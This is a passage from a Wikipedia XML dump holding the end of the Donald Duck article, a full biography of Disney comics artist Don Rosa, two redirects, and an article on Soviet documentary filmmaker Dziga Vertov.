According to the Inducks, which is a database about Disney comics worldwide, American, Italian and Danish stories have been reprinted in the following countries. In most of them, publications continue: [[Australia]], [[Austria]], [[Belgium]], [[Brazil]], [[Bulgaria]], [[China]], [[Colombia]], [[Czech Republic]], [[Denmark]] ([[Faroe Islands]]), [[Egypt]], [[Estonia]], [[Finland]], [[France]], [[Germany]], [[Greece]], [[Guyana]], [[Hungary]], [[Iceland]], [[India]], [[Indonesia]], [[Israel]], [[Italy]], [[Latvia]], [[Lithuania]], the [[Netherlands]], [[Norway]], [[Poland]], [[Portugal]], [[Romania]], [[Russia]], [[Saudi Arabia]], [[Slovenia]], [[Spain]], [[Sweden]], [[Thailand]], [[Turkey]], the [[United Kingdom]], [[United States|USA]], former [[Socialist Federal Republic of Yugoslavia|Yugoslavia]].

===Early development===

Though a [[1931]] Disney publication called ''[[Mickey Mouse Annual]]'' mentioned a character named Donald Duck, the character's first appearance in [[comic strip|comic-strip]] format was a newspaper cartoon that was based on the short ''The Wise Little Hen'' and published in [[1934]]. For the next few years, Donald made a few more appearances in Disney-themed strips, and by [[1936]], he had grown to be one of the most popular characters in the ''[[Silly Symphonies (comic strip)|Silly Symphonies]]'' comic strip. [[Ted Osborne]] was the primary writer of these strips, with [[Al Taliaferro]] as his artist. Osborne and Taliaferro also introduced several members of Donald's supporting cast, including his nephews, [[Huey, Dewey, and Louie]].

In [[1937]], an Italian publisher named [[Mondadori]] created the first Donald Duck story intended specifically for [[comic book]]s. The eighteen-page story, written by [[Federico Pedrocchi]], is the first to feature Donald as an adventurer rather than simply a comedic character. [[Fleetway]] in [[England]] also began publishing comic-book stories featuring the duck.

===Developments under Taliaferro===

A daily ''Donald Duck'' comic strip drawn by Taliaferro and written by [[Bob Karp]] began running in the [[United States]] on [[2 February]] [[1938]]; the Sunday strip began the following year. Taliaferro and Karp created an even larger cast of characters for Donald's world. He got a new [[St. Bernard (dog)|St. Bernard]] named [[Bolivar (dog)|Bolivar]], and [[Duck family|his family]] grew to include cousin [[Gus Goose]] and grandmother [[Elvira Coot]]. Donald's new rival girlfriends were [[Donna Duck|Donna]] and [[Daisy Duck]]. Taliaferro also gave Donald his very own automobile, a [[1934]] [[Belchfire Runabout]], in a [[1938]] story.

===Developments under Barks===

In [[1942]], [[Western Publishing]] began creating original comic-book stories about Donald and other Disney characters. Bob Karp worked on the earliest of these, a story called &quot;[[Donald Duck Finds Pirate Gold]]&quot;. The new publisher meant new illustrators, however: [[Carl Barks]] and [[Jack Hannah]]. Barks would later repeat the [[treasure hunt|treasure-hunting]] theme in many more stories.

Barks soon took over the major development of the comic-book version of the duck as both writer and illustrator. Under his pen, the comic version of Donald diverged even further from his animated counterpart, becoming more adventurous, less temperamental, and more eloquent. [[Black Pete]] was the only other major character from the ''Mickey Mouse'' comic strip to feature prominently in Barks' new [[Donald Duck universe]].

Barks placed Donald in the city of [[Duckburg]], which Barks populated with a host of supporting players, including [[Gladstone Gander]] ([[1948]]), [[Gyro Gearloose]], and Uncle [[Scrooge McDuck]] ([[1947]]). Many of Taliaferro's characters made the move to Barks' world as well, including Huey, Dewey, and Louie. Barks placed Donald in both domestic and adventure scenarios, and Uncle Scrooge became one of his favorite characters to pair up with Donald. Scrooge's popularity grew, and by [[1952]], the character had a comic book of his own. At this point, Barks concentrated his major efforts on the Scrooge stories, and Donald's appearances became more focused on comedy or he was recast as Scrooge's reluctant helper, following his rich uncle around the globe.

===Further developments===

Dozens of writers continued to utilize Donald in their stories around the world. Italian publisher Mondadori created many of the stories that were published throughout Europe. They also introduced numerous new characters who are today well known in Europe. One example is Donald Duck's alter-ego, a [[superhero]] called [[Paperinik]] in [[Italian language|Italian]], created by [[Guido Martina]] and [[Giovan Battista Carpi]].

== Beyond Disney ==
[[Image:Oregonfightingducks.jpg|thumb|The University of Oregon used Donald as their mascot.]]
Donald Duck is the only popular film and television cartoon character to appear as a mascot for the sports team of a major American university, namely, the [[Oregon Ducks]] at the [[University of Oregon]]. 

Donald's name and image are also used on numerous commercial products, one example being Donald Duck brand [[orange juice]], introduced by [[Citrus World]] in [[1940]]. Donald's fame has also led Disney to license the character for a number of video games. He plays a major role in the video game series ''[[Kingdom Hearts]]'', for example, where he is depicted as a short-tempered, powerful magician on a quest to find King [[Mickey Mouse]].

== Different appearances ==

=== [[Film|Movies]] ===
*''[[Saludos Amigos]]'' ([[1942]])
*''[[The Three Caballeros]]'' ([[1944]])
*''[[Fun and Fancy Free]]'' ([[1947]])
*''[[Mickey's Christmas Carol]]'' ([[1983]])
*''[[Who Framed Roger Rabbit?]]'' ([[1988]])
*''[[The Prince and the Pauper]]'' ([[1990]])
*''[[A Goofy Movie]]'' ([[1995]])
*''[[Fantasia 2000]]'' ([[1999]])
*''[[Mickey's Once Upon a Christmas]]'' ([[1999]])
*''[[Mickey's Magical Christmas: Snowed in at the House of Mouse]]'' ([[2001]])
*''[[Mickey's House of Villains]]'' ([[2003]])
*''[[Mickey's Twice Upon a Christmas]]'' ([[2004]])
*''[[Mickey, Goofy, Donald: The Three Musketeers]]'' ([[2004]])

===[[Television series]]===
[[Image:DonaldOnDuckTales.jpg|thumb|240px|Donald as seen on ''[[DuckTales]]''.]][[image:Quackpack.jpg|thumb|200px|Donald as seen on [[Quack Pack]], with [[Daisy Duck]] and [[Huey, Dewey and Louie]].]]

* ''[[DuckTales]]'' (1987-1990)
* ''[[Bonkers]]'' (1993-1995) (cameo)
* ''[[Quack Pack]]'' (1996-1997)
* ''[[Mickey Mouse Works]]'' (1999-2000)
* ''[[House of Mouse]]'' (2001-2003)
* ''[[Disney's Mickey Mouse Clubhouse]]'' (2006 debut)

===[[Computer and video games|Video games]] ===

*''[[Donald's Alphabet Chase]]'' ([[1988]])
*''[[Donald Duck's Playground]]'' ([[1988]])
*''[[DuckTales (video game)|Duck Tales : The quest for gold]]'' ([[1989]]) (Donald is only an [[Non-player_character|NPC]])
*''[[Quackshot]]'' ([[1991]])
*''[[The Lucky Dime Caper starring Donald Duck]]'' ([[1991]])
*''[[World of Illusion Starring Mickey Mouse and Donald Duck]]'' ([[1992]])
*''[[DuckTales 2]]'' ([[1993]]) (Donald is only an [[Non-player_character|NPC]])
*''[[Deep Duck Trouble Starring Donald Duck]]'' ([[1993]])
*''[[Maui Mallard in Cold Shadow]]'' ([[1996]])
*''[[Disney's Donald Duck: Goin' Quackers]]'' ([[2000]])
*''[[Kingdom Hearts]]'' ([[2002]])
*''[[Disney Golf]]'' ([[2002]])
*''[[Disney's PK: Out of the Shadows]]'' ([[2002]])
*''[[Kingdom Hearts: Chain of Memories]]'' ([[2004]])
*''[[Kingdom Hearts II]]'' ([[2006]])

=== US [[comic book]]s ===

*''[[Walt Disney's Comics and Stories]]''
*''Donald Duck''
*''[[Uncle Scrooge]]''
*''[[Uncle Scrooge Adventures]]''
*''Donald Duck Adventures''
*''Mickey and Donald''
*''DuckTales''
*''Donald and Mickey''
*''Donald Duck and Mickey Mouse''
*''Walt Disney Giant''
*''Walt Disney's Comics and Stories Penny Pincher''
*''Uncle Scrooge and Donald Duck''
*''The Adventurous Uncle Scrooge McDuck''
*''[[Kingdom Hearts]]'' - Although technically a ''[[manga]]'' made in Japan adapted by [[Shiro Amano]]
*''[[Kingdom Hearts: Chain of Memories]]'' - Manga made in Japan.

=== Famous illustrators ===

*[[Carl Barks]]
*[[Luciano Bottaro]]
*[[Giovan Battista Carpi]]
*[[Giorgio Cavazzano]]
*[[William Van Horn]]
*[[Daan Jippes]]
*[[Don Rosa]]
*[[Marco Rota]]
*[[Romano Scarpa]]
*[[Tony Strobl]]
*[[Al Taliaferro]]

==Further reading==
* Ariel Dorfman, Armand Mattelart, David Kunzle (trans.), ''How to Read Donald Duck: Imperialist Ideology in the Disney Comic'' ISBN 0884770230 (Anti-Donald Duck Marxist Critique)
* Walt Disney Productions, ''Walt Disney's Donald Duck: 50 Years of Happy Frustration'', Courage Books, May 1990 ASIN: 0894715305

==See also==
* List of [[Donald Duck cartoons]]

==External links==
* [http://www.donaldduckcomics.com Donald Duck comics]
* [http://duckman.pettho.com/characters/characters.html All the Ducks]
* [http://goofy313g.free.fr/calisota_online/trees/myducktreebig.html Donald Duck's family tree]
* [http://coa.inducks.org/character.php/x/DD Donald's profile in the Inducks]
* [http://coa.inducks.org/character.php/x/PK Paperinik's profile in the Inducks]
* [http://users.cwnet.com/xephyr/rich/dzone/hoozoo/donald.html Donald's profile in the Disney HooZoo]
* [http://www.toonopedia.com/donald.htm Toonopedia: Donald Duck]
* [http://disneyshorts.toonzone.net/characters/donald.html Donald Duck shorts film]
* [http://www.marklansdown.com/pinbacks/pages/donaldduck.html Donald Duck advertising pinbacks]
* [http://ask.yahoo.com/20051005.html Ask Yahoo! - Oct 5, 2005 - Why does Donald Duck never wear pants?]

&lt;!-- Interlanguage links --&gt;

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[[Category:Animated film series]]
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  <page>
    <title>Don Rosa</title>
    <id>8927</id>
    <revision>
      <id>41627516</id>
      <timestamp>2006-02-28T16:59:17Z</timestamp>
      <contributor>
        <username>Haakon</username>
        <id>7745</id>
      </contributor>
      <minor />
      <comment>if he wasn't famous he wouldn't have this article, no?</comment>
      <text xml:space="preserve">[[Image:drosa.jpg|thumb|300px|Don Rosa visiting [[Finland]] in 1999]]
'''Gioachino 'Keno' Don Hugo Rosa''' (often just called '''Don Rosa''') is a writer and illustrator of stories about [[Scrooge McDuck]], [[Donald Duck]] and other [[The Walt Disney Company|Disney]] characters. He was born on [[June 29]], [[1951]] in [[Louisville, Kentucky]], [[United States]]. He is considered by many to be the greatest Disney comics artist since [[Carl Barks]]. His most famous work is ''[[The Life and Times of Scrooge McDuck]]''.

==History==

The name ''Don Rosa'' originates from [[Italy]]. His grandfather, Gioachino Rosa, lived in Maniago, a small village at the foot of the [[Alps]] in [[Northern Italy]], in the province of [[Pordenone]]. Gioachino Rosa emigrated to [[Kentucky]], [[United States]] in [[1915]] just after the birth of his son Hugo Rosa. Hugo Rosa was later married in Kentucky. His wife was born to a [[German American]] father and a mother with both Scottish and Irish ancestry.

Hugo Rosa and his wife became parents to Keno Don Hugo Rosa on June 29, 1951. The boy was named after both his father and grandfather. Gioachino was called 'Keno' for short.

===Childhood===

Don Rosa had always been fond of making cartoons. Don began drawing comics before being able to write. But he was always mostly focused on the story. The drawings were just mere illustrations to get the story told. Until high school his featured characters were mostly small men called Holey and Joe.

His favourite comic books while growing up were reportedly ''[[Uncle Scrooge]]'' by [[Western Publishing]] and the [[Superman]] titles by [[DC Comics]].

He entered the [[University of Kentucky]] in [[1969]]. He graduated in [[1973]] with a Bachelor of Arts degree in [[civil engineering]].

===First Cartoons===

His first real cartoon was a comic strip featuring his own character, Lancelot Pertwillaby. He created the strip in [[1971]] for ''[[The Kentucky Kernel]]'', a college newspaper of the University of Kentucky which wanted the strip to focus on political satire.

Don later talked them into letting him feature adventures starring Lancelot Pertwillaby and drew the story ''Lost in (an alternative section of) the Andes''.  (The title being a reference to ''[[Lost in the Andes]]'', a Donald Duck story by Carl Barks, first published in April, [[1949]].) The so-called ''Pertwillaby Papers'' included 127 published episodes by the time Rosa graduated.

Meanwhile Don participated in a [[fanzine]]. His contribution was ''An Index of Uncle Scrooge Comics''. According to his introduction: ''&quot;Scrooge being my favourite character in comic history and Barks my favourite pure cartoonist, I'll try not to get carried away too much.&quot;''

After receiving his bachelor degree, Don continued to draw comics as a side job. He did not earn very much though from his creations. His main source of income came from working in the ''Keno Rosa Tile Company'', a company founded by his paternal grandfather which had by that time been taken over by Hugo Rosa.

He was a columnist of the fanzine ''&quot;The Rocket's Blast Comicollector&quot;'' from [[1974]] to [[1979]]. He also revived the  ''Pertwillaby Papers'' from [[1976]] to [[1978]].

Don took a chance at more professional cartooning with his creation of  comic strip character &quot;Captain Kentucky&quot; for the Saturday edition of the local newspaper ''Louisville Times''. Captain Kentucky was the superhero alter ego of Lancelot Pertwillaby. Publication started on [[October 6]], [[1979]]. The comic strip ended on [[August 15]], [[1982]] after the publication of 150 episodes. After three years with Captain Kentucky, Don decided that it was not worth the effort. He retired from cartooning and did not draw a single line for the next four years. Years later, as his fame grew, his non-Disney work was published by the Norwegian publisher [[Gazette Bok]] in [[2001]], in the two hard-cover books ''The Pertwillaby Papers'' and ''The Adventures of Captain Kentucky''.

===Marriage===

Don married schoolteacher Ann Payne in [[1980]]. The couple remains together as of [[2006]].

===Working for Gladstone===

In [[1985]], he discovered a [[Gladstone]] comic book in the window of a small comic shop. This was the first American comic book that contained [[The Walt Disney Company|Disney]]-characters after the [[1970s]]. Since early childhood Don Rosa had been fascinated by Disney stories about [[Donald Duck]] and [[Scrooge McDuck]]. Artist [[Carl Barks]] was an especially big idol for him and would remain so for the rest of his career. He immediately called the editor, [[Byron Erickson]], and told him that he was the only American who was born to write and draw Scrooge McDuck comics. Byron agreed to let him send a story, and Don Rosa started drawing his first Duck story: ''Son of the Sun'' the very next day.

''Son of the Sun'' was a huge success and was even nominated for a Harvey Award (the comics equivalent of the Academy Awards). The plot of the story was exactly the same as his earlier story ''Lost in (an alternative section of) the Andes''. As Don Rosa formulated it, he was just &quot;(...) turning that old Pertwillaby Papers adventure back into the story it originally was in my head, starring Scrooge, Donald, [[Huey, Dewey and Louie Duck|the nephews]], and [[Flintheart Glomgold]].&quot;

Don Rosa did a few more comics for Gladstone till [[1989]]. He then stopped working for them because the policies of their licensor Disney did not allow for the return of original art for a story to its creators. This was unacceptable to Don Rosa, since a part of his income came from selling the originals. Without that extra money, he could not make a living drawing comic books.

After making some stories for the Dutch publisher [[Oberon]], the publishers of an American Disney children's magazine called ''[[DuckTales]]'' (based on of the animated series of the same name) offered him employment. They even offered him a much higher salary than the one he received at Gladstone. Don made just one script (''Back in Time for a Dime''). The publishers never asked him to make more, and due to problems with receiving the payment, he didn't care.

===Working for Egmont===

After working with the DuckTales magazine, Rosa found out that the Danish publisher [[Egmont (media group)|Egmont]] (at that time called Gutenberghus) had been publishing reprints of his stories and wanted more of them. Don joined Egmont in [[1990]] along with Byron Erickson, the former editor at Gladstone and has been working there as a freelancer since then.

In [[1991]] he started creating ''[[The Life and Times of Scrooge McDuck]]'', a twelve chapter story about his favorite character. The series was a huge success, and in [[1995]] he won an [[Eisner Award]] for best continuing series. After the end of the original series, Don started producing additional &quot;missing&quot; chapters. Some of the extra chapters were turned down by Egmont because they were not interested in any more episodes. Fortunately, the French publisher [[Picsou]] was eager to publish the stories. From [[1999]], Don started working freelance for Picsou as well.

During early summer [[2002]], Don Rosa suddenly laid down work. As an artist he could not live under the conditions Egmont was offering him, but he did not want to give up making Scrooge McDuck comics either.  So his only choice was to put down work for a while and try to come to an agreement with Egmont. His main issues were that he had no control over his works. Don had discovered far too often that his stories were printed with incorrect pages of art, improper colors, poor lettering, or pixilated computer conversions of the illustrations. Another matter was that his name was used in promotion of books and collections of stories without his agreement and without sending royalties to him.

He came to an agreement with Egmont in December of the same year, which gave him a bit more control over the stories and the manner in which they were publicized.

Don remains popular with readers across Europe but considers himself rather obscure in his native United States, an irony worthy of a satirical artist.

==His Work==
[[Image:DonRosaComicsandStories.jpg|thumbnail|200px|Don Rosa's Comics and Stories #1]]
In [[Europe]], Don Rosa is recognized as one of the best Disney comics creators ever. [[Carl Barks]] and Don Rosa are the only two artists who have their name written on the covers of Disney magazines when their stories are published. His stories are very easily recognized due to his unique drawing style, his pictures being extremely detailed. Rosa enjoys including subtle references to his favourite works of fiction as well as his own previous work. He normally uses about 12 frames per page, instead of the more common 8. He needs to use the extra frames because his stories usually are too long to be published if he does not minimize them.

Don Rosa has a huge following in [[Finland]], and in 1999, he created a special 32-page Donald, Scrooge, Gearloose &amp; nephews strip for his Finnish fans; ''Sammon Salaisuus'' (translates to ''The secret of the [[Sampo]]'', but it is officially named ''[[The Quest for Kalevala]]'' [http://scoop.diamondgalleries.com/scoop_article.asp?ai=6377&amp;si=124] in English), based on the Finnish national epic, the [[Kalevala]]. It was published in many other countries as well. The cover for the comic book was a spoof of a famous painting by [[Akseli Gallen-Kallela]].

===Drawing style===
With a bachelor of arts degree in civil engineering as his only real drawing education, Don Rosa has some unusual drawing methods, as he writes himself: &quot;''I suspect '''nothing''' I do is done the way anyone else does it''.&quot; Because of being self-taught in making comics, Don relies mostly on the skills he learned in engineering school -- which means using technical pens and templates a lot. He applies forms of plastic artifacts to draw curves, circles and ovals. He usually draws just under a page per day, but that depends on the amount of detail he puts in the picture.

===Carl Barks===
Don Rosa's greatest idol when it comes to comics has always been Carl Barks. Rosa builds almost all his stories on characters and locations that Barks invented. Many of Rosa's stories contain references to some fact pointed out in a Barks story. Rosa has even created sequels of old Barks stories. For example, his ''Return To Xanadu'' is a sequel to ''[[Tralla La]],'' where the Ducks return to the same hidden country.

Barks either created most of the characters used by Don or is credited for greatly developing their personalities. Rosa thus feels obliged to make his stories factually consistent. He has spend a lot of time in making lists of facts and anecdotes pointed out in different stories by his mentor. Especially the series ''The Life and Times of Scrooge McDuck'' was based mostly on the earlier works of Barks. Don admitted however that a scene of the first chapter was inspired by a story by [[Tony Strobl]].

===D.U.C.K.===
Most Don Rosa stories have the letters '''D.U.C.K''' hidden somewhere in the first panel. Don's covers also usually have '''D.U.C.K.''' in them. This is an acronym for '''''D'''edicated to '''U'''nca '''C'''arl from '''K'''eno''. Because Disney would not allow for personal signatures in the comics, and thought that D.U.C.K looked too much like one, Don Rosa has made a habit of hiding the letters in various unlikely places.  Many of his readers have made a sport out of finding them. In the beginning he just wrote '''D.U.C.K''', he didn't try to hide it. It was deleted by the editor because it looked to much like a signature. Later he discovered that he just could hide it, so the editor didn't see it. '''D.U.C.K''' is in most cases hidden in the very first image, on the first page of the story.

===Mickeys===

Another curiosity is his &quot;''hidden Mickeys''&quot;. Don Rosa is only interested in creating stories featuring the Duck family. But he often hides small [[Mickey Mouse]] heads or figures in the pictures, sometimes in a humiliating or unwanted situation. An example of this is in the story ''The Terror of the Transvaal'' where a flat Mickey can be seen under an elephant's foot. This is mostly a gag done for the fun of it. Don has admitted to neither liking nor disliking Mickey Mouse, but being indifferent to him.

In the second Rosa story featuring [[The Three Caballeros]], Donald Duck is shocked by the sight of a capybara standing on its hind legs, with shrubs, leaves and fruit in front of its body, coincidentally making it look like Mickey Mouse. [[José Carioca]] and [[Panchito Pistoles]], never having seen Mickey Mouse, ask Donald what is wrong, but Donald replies he is just tired.

In [[The Quest for Kalevala]] this running gag can be seen on the original, [[Akseli Gallen-Kallela]] -inspired cover art. In the original work, [[Louhi]] is depicted as bare-chested, but the Disneyfied version has been drawn a top, of fabric patterned with Mickey Mouse heads.

==Awards==
His work has won him a good deal of recognition in the industry, including nominations for the Comics' Buyer's Guide Award for Favorite Writer in 1997, 1998, and 1999.

==External links==

* [http://www.duckmania.de/english/ DuckMania &amp;mdash; A Don Rosa fan page]
* [http://personal.sdf.bellsouth.net/d/a/danshane/scroopage/Intro.htm Artwork and details presented by Don Rosa]
* [http://www.duckhunt.de/ Duckhunt]
* [http://duckman.pettho.com/drinfo/drwork.html Article about his work]
* [http://duckman.pettho.com/drinfo/drtline.html Timeline]
* [http://duckman.pettho.com/drinfo/drinfo.html Detailed profile of Don Rosa]
* [http://stp.ling.uu.se/~starback/dcml/creators/rosa-on-himself.html Different information by Don Rosa]
* [http://www.perunamaa.net/donrosa/intro_long.shtml Another Detailed profile of Don Rosa]
* [http://coa.inducks.org/coa/c1/creator.php/0/DR/1 His profile in the Inducks]
* [http://users.rcn.com/aardy/comics/awards/ Comic Book Awards Almanac]
* [http://www.gazette.no/donrosa/ Rosa's two non-Disney hardcover books]

[[Category:1951 births|Rosa, Don]]
[[Category:Living people|Rosa, Don]]
[[Category:Comics artists|Rosa, Don]]
[[Category:Comics writers|Rosa, Don]]
[[Category:Louisvillians|Rosa, Don]]
[[Category:University of Kentucky|Rosa, Don]]
[[Category:Eisner Award winners|Rosa, Don]]
[[Category:Donald Duck|Rosa, Don]]

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  <page>
    <title>Denis Arkadievich Kaufman</title>
    <id>8928</id>
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      <text xml:space="preserve">#REDIRECT [[Dziga Vertov]]
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  <page>
    <title>Denis Abramovich Kaufman</title>
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      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <text xml:space="preserve">#REDIRECT [[Dziga Vertov]]
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  <page>
    <title>Dziga Vertov</title>
    <id>8930</id>
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      <id>36593545</id>
      <timestamp>2006-01-25T03:35:19Z</timestamp>
      <contributor>
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      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Dziga Vertov.jpg|thumb|100px|Dziga Vertov]]
'''Dziga Vertov''' ({{lang-ru|Дзига Вертов}}, [[January 2]], [[1896]]&amp;ndash;[[February 12]], [[1954]]) was a [[Russia]]n [[documentary film]] and [[newsreel]] director.

Born '''Denis Abramovich Kaufman''' into a family of [[Jew]]ish intellectuals in [[Bialystok]], [[Congress Poland]], then a part of the [[Russian Empire]], he Russified his Jewish [[patronymic]] to ''Arkadievich'' in his youth.  Kaufman studied music at Bialystok Conservatory until his parents fled with their family from the invading [[German army]] to [[Moscow]] in [[1915]]. The family soon settled in [[Saint Petersburg|St. Petersburg]], where Kaufman began writing [[poetry]] and [[science fiction]]/[[satire]].  In [[1916]]-[[1917]] Kaufman was studying medicine at the Psychoneurological Institute in St. Petersburg and experimenting with &quot;sound collages&quot; in his free time.  Kaufman adopted the name &quot;Dziga Vertov&quot;, which means &quot;spinning top&quot;; Vertov's political writings and his work on the [[Kino-Pravda]] newsreel series show a revolutionary bent.

After the [[Bolshevik Revolution]] of 1917, at the age of 22, Vertov began editing for ''Kino-Nedelia'' (the Moscow Cinema Committee's weekly film series, and the first newsreel series in Russia).  While working for ''Kino-Nedelia'' he met [[Elizaveta Svilova]], who was later to become his wife (at the time she was employed in film preservation).  The first issue of the series came out in June [[1918]].

[[Image:Kaufman brothers mikhail and david.jpg|left|thumb|With Mikhail Kaufman]]
Vertov worked on the series for three years, helping establish and run a film-car on President [[Kalinin]]'s [[agit-train]] during the ongoing war between [[Communist]]s and [[counterrevolutionary|counterrevolutionaries]].  Some of the cars on the agit-trains were equipped with actors for live performances or [[printing press]]es; Vertov's had equipment to shoot, develop, edit, and project film.  The trains went to battlefronts on [[agitprop|agitation-propaganda]] missions intended primarily to bolster the morale of the troops; they were also intended to inflame peasants into a revolutionary fervor.

In 1919, Vertov compiled newsreel footage for his documentary ''Anniversary of the Revolution;'' in [[1921]] he compiled ''History of the [[Russian Civil War|Civil War]].''  The so-called &quot;Council of Three,&quot; a group issuing manifestoes in ''LEF,'' a radical Russian newsmagazine, was established in [[1922]]; the group's &quot;three&quot; was simply Vertov, his wife and editor Elizaveta Svilova, and his brother and [[cinematographer]] [[Mikhail Kaufman]].  Vertov's interest in machinery led to a curiosity about the mechanical basis of [[film|cinema]].  Vertov's brother [[Boris Kaufman]] was a noted cinematographer who worked for directors such as [[Elia Kazan]] and [[Sidney Lumet]]; his other brother, Mikhail Kaufman, worked as Vertov's cinematographer until he became a documentarian in his own right.

In 1922, the year that ''[[Nanook of the North]]'' was released, Vertov started the [[Kino-Pravda]] series.  The series took its title from the government newspaper [[Pravda]], founded by [[Vladimir Ilyich Lenin]] in 1912. &quot;Kino-Pravda&quot; (literally translated, &quot;film truth&quot;) continued Vertov's agit-prop bent.

[[Image:1923 one-sixth part of the world poster by Rodchenko for film by Dziga Vertov.jpg|thumb|1923. The dark page of history gets turned over in this [[Alexander Rodchenko|Rodchenko]]'s poster for Vertov's film ''One-Sixth Part of the World'']]
Vertov's driving vision, expounded in his frequent essays, was to capture &quot;film truth&quot;&amp;mdash;that is, fragments of actuality which, when organized together, have a deeper truth that cannot be seen with the naked eye.  In the &quot;Kino-Pravda&quot; series, Vertov focused on everyday experiences, eschewing bourgeois concerns and filming marketplaces, bars, and schools instead, sometimes with a hidden camera, without asking permission first.  The episodes of &quot;Kino-Pravda&quot; usually did not include reenactments or stagings (one exception is the segment about the trial of the Social Revolutionaries: the scenes of the selling of the newspapers on the streets and the people reading the papers in the trolley were both staged for the camera).  The cinematography is simple, functional, unelaborate&amp;mdash;perhaps a result of Vertov's disinterest in both &quot;beauty&quot; and &quot;art.&quot;  Twenty-three issues of the series were produced over a period of three years; each issue lasted about twenty minutes and usually covered three topics.  The stories were typically descriptive, not narrative, and included vignettes and exposés, showing for instance the renovation of a trolley system, the organization of farmers into communes, and the trial of Social Revolutionaries; one story shows starvation in the nascent [[Marxism|Marxist]] state.  Propagandistic tendencies are also present, but with more subtlety, in the episode featuring the construction of an airport: one shot shows the former [[Tsar]]'s tanks helping prepare a foundation, with an intertitle reading &quot;Tanks on the labor front.&quot;

Vertov clearly intended an active relationship with his audience in the series&amp;mdash;in the final segment he includes contact information&amp;mdash;but by the 14th episode the series had become so experimental that some critics dismissed Vertov's efforts as &quot;insane.&quot;  Vertov responds to their criticisms with the assertion that the critics were hacks nipping &quot;revolutionary effort&quot; in the bud, and concludes the essay with his promise to &quot;explode art's [[tower of Babel]].&quot;  In Vertov's view, &quot;art's tower of Babel&quot; was the subservience of cinematic technique to narrative, commonly known as the [[Institutional Mode of Representation]].

By this point in his career, Vertov was clearly and emphatically dissatisfied with narrative tradition, and expresses his hostility towards dramatic fiction of any kind both openly and repeatedly; he regarded drama as another &quot;opiate of the masses.&quot;  Vertov freely admits one criticism leveled at his efforts on the &quot;Kino-Pravda&quot; series--that the series, while influential, had a limited release.

By the end of the &quot;Kino-Pravda&quot; series, Vertov made liberal use of [[stop motion]], [[freeze frame]]s, and other cinematic &quot;artificialities,&quot; giving rise to criticisms not just of his trenchant dogmatism, but also of his cinematic technique.  Vertov explains himself in &quot;On 'Kinopravda'&quot;: in editing &quot;chance film clippings&quot; together for the Kino-Nedelia series,  he &quot;began to doubt the necessity of a literary connection between individual visual elements spliced together....  This work served as the point of departure for 'Kinopravda.'&quot;  Towards the end of the same essay, Vertov mentions an upcoming project which seems likely to be ''[[Man with the Movie Camera]]'', calling it an &quot;experimental film&quot; made without a scenario; just three paragraphs above, Vertov mentions a scene from &quot;Kino Pravda&quot; which should be quite familiar to viewers of ''Man with the Movie Camera:''  &quot;The peasant works, and so does the urban woman, and so too, the woman film editor selecting the negative....&quot;

With Lenin's admission of limited private enterprise through his [[New Economic Policy]], Russia began receiving fiction films from afar, an occurrence that Vertov regarded with undeniable suspicion, calling drama a &quot;corrupting influence&quot; on the proletarian sensibility (&quot;On 'Kinopravda,'&quot; 1924).  By this time Vertov had been using his newsreel series as a pedestal to vilify dramatic fiction for several years; he continued his criticisms even after the warm reception of [[Sergei Eisenstein]]'s ''[[Battleship Potemkin]]'' in [[1925]].  ''Potemkin'' was a heavily fictionalized film telling the story of a mutiny on a battleship which came about as a result of the sailors' mistreatment; the film was an obvious but skillful propaganda piece glorifying the proletariat.  Vertov lost his job at [[Sovkino]] in January [[1927]], possibly as a result of criticizing a film which effectively preaches the [[Communist]] party line, while at the same time producing films which effectively challenge or subvert it.

Vertov says in his essay &quot;The Man with a Movie Camera&quot; that he was fighting &quot;for a decisive cleaning up of film-language, for its complete separation from the language of theater and literature.&quot;  By the later segments of &quot;Kino-Pravda,&quot; Vertov was experimenting heavily, looking to abandon what he considered film clichés (and receiving criticism for it); his experimentation was even more pronounced and dramatic by the time of ''Man with the Movie Camera''.  Some have criticized the obvious stagings in ''Man With the Movie Camera'' as being at odds with Vertov's credos &quot;life as it is&quot; and &quot;life caught unawares&quot;: the scene of the woman getting out of bed and getting dressed is obviously staged, as is the reversed shot of the chess pieces being pushed off a chess board and the tracking shot which films Mikhail Kaufman riding in a car filming a third car.

However, Vertov's two credos, often used interchangeably, are in fact distinct, as [[Yuri Tsivian]] points out in the [[audio commentary (DVD)|commentary track]] on the DVD for ''Man with the Movie Camera:'' for Vertov, &quot;life as it is&quot; means to record life as it would be without the camera present.  &quot;Life caught unawares&quot; means to record life when surprised, and perhaps provoked, by the presence of a camera.  (16:04 on the commentary track).  This explanation contradicts the common assumption that for Vertov &quot;life caught unawares&quot; meant &quot;life caught unaware of the camera.&quot; All of these shots might conform to Vertov's credo &quot;caught unawares.&quot;

Vertov's cinema success continued into the [[1930s]]. In [[1931]], he released ''Enthusiasm: Symphony of the [[Donbass]]'', an examination into Soviet miners. ''Enthusiasm'' has been called a 'sound film', with sound recorded on location, and these mechanical sounds woven together, producing a symphony-like effect. 

Three years later, ''Three Songs about Lenin'' looked at the revolutionary through the eyes of the Russian peasantry. For his film, however, Vertov had been hired by [[Mezhrabpomfilm]], a Soviet studio that produced mainly propaganda efforts. To conform to the studio's, and the Soviet government's expectations, the film was edited to include Stalin and provide a more acceptable, 'Stalinesque', ending. With the rise and official sanction of [[socialist realism]] in 1934, Vertov was forced to cut his personal artistic output significantly, eventually becoming little more than an editor for Soviet newsreels. ''Lullaby'', perhaps the last film in which Vertov was able to maintain his artistic vision, was released in 1937. Dziga Vertov died of cancer in 1954, after surviving, unscathed, Stalin's purges.

His legacy, however, still lives on today. Vertov's independent, explorative air in filmmaking is carried on as a strong inspiration in aspiring filmmakers and directors. Film companies like &quot;Vertov Industries&quot; have emerged, attributing Dziga Vertov as a source of inspiration. It is this inspiration that will live on; it is his gift to the world.

== Filmography ==
* [[1919]] Кинонеделя (''Kino Nedelya'', Cinema Week)
* [[1919]] Годовщина революции (Anniversary of the Revolution)
* [[1922]] История гражданской войны (History of the Civil War)
* [[1924]] Советские игрушки (Soviet Toys)
* [[1924]] Кино-глаз (''Kino Glaz'', Cinema Eye)
* [[1925]] Киноправда (Kino Pravda)
* [[1926]] Шестая часть мира (One-Sixth Part of the World)
* [[1928]] Одиннадцатый (The Eleventh)
* [[1929]] Человек с киноаппаратом ([[Man with the Movie Camera]])
* [[1931]] Энтузиазм (Enthusiasm)
* [[1934]] Три песни о Ленине (Three Songs about Lenin)
